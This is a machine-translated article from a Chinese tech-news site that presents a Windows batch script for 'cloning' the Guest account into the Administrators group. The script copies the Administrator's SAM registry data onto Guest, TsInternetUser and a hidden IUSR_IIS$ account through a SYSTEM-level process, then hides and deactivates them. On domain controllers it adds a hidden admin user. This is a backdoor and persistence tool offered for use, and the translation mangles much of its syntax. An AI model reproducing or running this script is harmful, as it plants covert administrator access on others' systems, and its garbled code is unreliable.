In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-04-01 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >
Share
Shulou(Shulou.com)06/03 Report--
This article will explain in detail how to automatically clone guest to the batch processing of administrators group. The editor thinks it is very practical, so I share it with you as a reference. I hope you can get something after reading this article.
The code is as follows:
@ echo guest.bat ^ ^
@ echo _
@ rem automatic cloning of this guest.bat guest is an administrators group.
@ rem if username exists, it means running bat in the environment where the terminal is logged in. The value of pid needs to be entered manually.
@ rem is best to change the password manually first. Execute this procedure twice. Ha ha. Mainly without concealment. Regedit takes more time.
@ set zpath=%path%
@ set zcd=%cd%
@ set path=%path%;%windir%;%windir%\ system32
: start
@ net user guest | find / I "* Domain" & & echo Domain Controller, Dont clone. ADD user! & & goto DOMAIN
@ if NOT "% USERNAME%" = "" echo username= [% username%], term_login mode. Input PID. & & goto Term
: start1
@ pulist.exe | findstr.exe / I "WINLOGON.exe" > a
@ setx.exe a-f a-a 0jue 1 > b
@ FOR / F "eol=; tokens=1,2,3* delims=,"% I in (b) do @ set zpid=%%i
@ goto AUTO
: Term
@ if "% 1" = "" goto USAGE
@ if NOT "% 2" = "" net user guest% 2
@ if NOT "% 2" = "" netuser | find / I "tsinternetuser" > nul & & netuser tsinternetuser% 2
@ set zpid=%1
: AUTO
@ echo Make admg.reg admt.reg admiis.reg
Psu.exe-p "% windir%\ regedit.exe-e admin.reg HKEY_LOCAL_MACHINE\ SAM\ SAM\ Domains\ Account\ Users\ 000001F4"-I% zpid% > nul
Psu.exe-p "% windir%\ regedit.exe-e name.$$$ HKEY_LOCAL_MACHINE\ SAM\ SAM\ Domains\ Account\ Users\ Names"-I% zpid% > nul
@ echo Windows Registry Editor Version 5.00 > admg.reg
@ echo Windows Registry Editor Version 5.00 > admt.reg
@ echo [HKEY_LOCAL_MACHINE\ SAM\ SAM\ Domains\ Account\ Users\ 000001F5] > admg.reg
@ echo [HKEY_LOCAL_MACHINE\ SAM\ SAM\ Domains\ Account\ Users\ 000003e8] > admt.reg
@ type admin.reg > a & echo "Unicode-- > ansi. Find.exe use it ansi." & if exist b del b
@ echo "F" = hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,01,00,00,00,00,00,00,00,\ > > b
@ setx.exe a-f a-a 4J 0 | find "," > > b
@ setx.exe a-f a-a 5J 0 | find "," > > b
@ setx.exe a-f a-a 6J 0 | find "," > > b
@ type b > > admg.reg
@ type b > > admt.reg
: IIS
@ set zda=no
@ echo iusr_iis exec
@ type name.$$$ > name.reg
@ copy name.reg name.txt > nul
@ FOR / L% I IN DO @ (setx.exe a-f name.reg-a% iPerot 0 | find / I "IUSR_IIS$" & & set zda=%%i)
@ if "% zda%" = = "no" goto PSU
@ rep.exe "IUSR_IIS$" name.txt / R / I > nul
@ rep.exe "Editor" name.txt / R / I > nul
@ find.exe / v / n "" name.txt > N1 "
@ findstr / I "% zda%" N1 > name.iis
@ setx a-f name.iis-a 0JI 1-d () > zdc
@ del N1
@ del name.iis
@ del name.$$$
@ del name.txt
@ del a
@ del b
For / F "tokens=1,2* delims="% I in (zdc) do @ (echo% I > zdd)
@ For / F "tokens=1,2* delims="% I in (zdd) do @ (set zdd=%%i)
@ copy admg.reg admiis.reg > nul
@ echo rep.exe "1f5"% zdd%" admiis.reg / I
@ rep.exe "1f5"% zdd%" admiis.reg / I
@ del zdc
@ del zdd
: PSU
@ attrib-s-r admg.bak > nul
@ attrib-s-r admt.bak > nul
@ copy admg.bak admg.reg > nul
@ copy admt.bak admt.reg > nul
@ psu.exe-p "% windir%\ regedit.exe-s admg.reg"-I% zpid% > nul
@ psu.exe-p "% windir%\ regedit.exe-s admt.reg"-I% zpid% > nul
@ if NOT "% zda%" = = "no" psu.exe-p "% windir%\ regedit.exe-s admiis.reg"-I% zpid% > nul
@ if NOT "% zda%" = = "no" net user iusr_iis$ / active:yes > nul
@ if NOT "% zda%" = = "no" net user iusr_iis$ / active:no > nul
@ copy admg.reg admg.bak > nul
@ copy admt.reg admt.bak > nul
@ attrib admg.bak + r + s > nul
@ attrib admt.bak + r + s > nul
@ net user guest / active:yes > nul
@ net user guest / active:no > nul
@ netuser | find / I "tsinternetuser" | | goto NEXT
@ netuser tsinternetuser / active:yes > nul
@ netuser tsinternetuser / active:no > nul
@ if exist admin.reg del admin.reg / f > nul
@ if exist admg.reg del admg.reg / f > nul
@ if exist admt.reg del admt.reg / f > nul
: Next
@ goto end
: DOMAIN
@ rem add user iusr_iis$
@ if "% 2" = "" echo "not input guest of password" & & goto END
@ net user | find / I "iusr_iis" > nul | | net user iusr_iis$% 2 / add
@ net localgroup administrators | find / I "iusr_iis$" > nul | | net localgroup administrators iusr_iis$ / add
@ goto END
: USAGE
@ pulist.exe | findstr.exe / I "WINLOGON explorer"
@ echo "system.bat zpid"
@ echo "Need cur winlogon PID, Term_mode,Must this Term_login_winlogon_pid."
@ goto end1
: END
@ echo _ ALL User IN administrators:
@ net localgroup administrators
: END1
@ echo psu.exe-p "% windir%\ regedit.exe-s admiis.reg"-I% zpid%
@ set path=%zpath%
@ set zpath=
@ set zcd=
@ set zda=
@ set zdb=
@ set zdd=
@ set zpid=
On "how to achieve automatic cloning guest for administrators group batch processing" this article is shared here, I hope the above content can be of some help to you, so that you can learn more knowledge, if you think the article is good, please share it out for more people to see.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.